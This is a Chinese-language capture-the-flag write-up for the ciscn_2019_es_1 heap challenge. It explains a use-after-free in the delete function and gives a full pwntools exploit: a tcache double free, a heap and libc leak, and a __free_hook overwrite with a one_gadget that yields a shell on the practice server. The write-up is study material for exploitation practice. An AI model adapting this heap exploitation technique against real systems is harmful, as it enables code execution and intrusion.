基本情况
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:
struct
{
void **chunk_ptr;//8bit
size_t size;//4bit
int number;//(12-1)bit
}
漏洞
在 free 中,只是单单释放 data chunk ,结构体 chunk 以及对应链表都完整保留,释放 data chunk 时,没有将结构体中对应位置置零,造成 UAF 。
unsigned __int64 call()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 && v1 > 12 )
exit(0);
if ( heap_addr[v1] )
free(*heap_addr[v1]); // UAF
puts("You try it!");
puts("Done");
return __readfsqword(0x28u) ^ v2;
}
思路
- double free 泄露堆地址,劫持 tcache struct ,控制链头分配到 chunk0 size
- free chunk0 到 unsorted bin 泄露 libc 地址
- 劫持 free_hook 为 onegadget
tcache 常规的 double free 泄露地址:
add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)
p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
修改 tcache bin 中的数量以及链头地址:
add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
- tcahce_addr 方便再次申请 chunk0
- tcache_addr - 0x10 用来修改 chunk0 的 size
- 劫持数量标志位保留一个,后面用来 double free
释放 chunk0 获取 libc 地址:
free(3)
show(3)
p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))
再次 double free tcache 将 chunk 分配到 free_hook 上:
add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)
EXP
from pwn import *
context(log_level='info',os='linux',arch='amd64',
terminal=['tmux','sp','-h'])
# p = process("./ciscn_2019_es_1")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./ciscn_2019_es_1")
p = remote("node3.buuoj.cn",27240)
libc = ELF("./libc-2.27.so")
def add(size,name,number):
p.recvuntil(":")
p.sendline('1')
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.send(name)
p.recvuntil("call:\n")
p.send(number)
def show(id):
p.recvuntil(":")
p.sendline('2')
p.recvuntil("index:\n")
p.sendline(str(id))
def free(id):
p.recvuntil(":")
p.sendline('3')
p.recvuntil("index:\n")
p.sendline(str(id))
add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)
p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
tcache_addr = chunk_addr - 0x270
log.info("tcache_addr:"+hex(tcache_addr))
add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
# add(0x80,'a','b')
free(3)
show(3)
p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_area - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
log.info("malloc_hook:"+hex(malloc_hook))
one = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + 0x4f322#one[1]
log.info("onegadget:"+hex(onegadget))
add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)
# gdb.attach(p)
free(0)
p.interactive()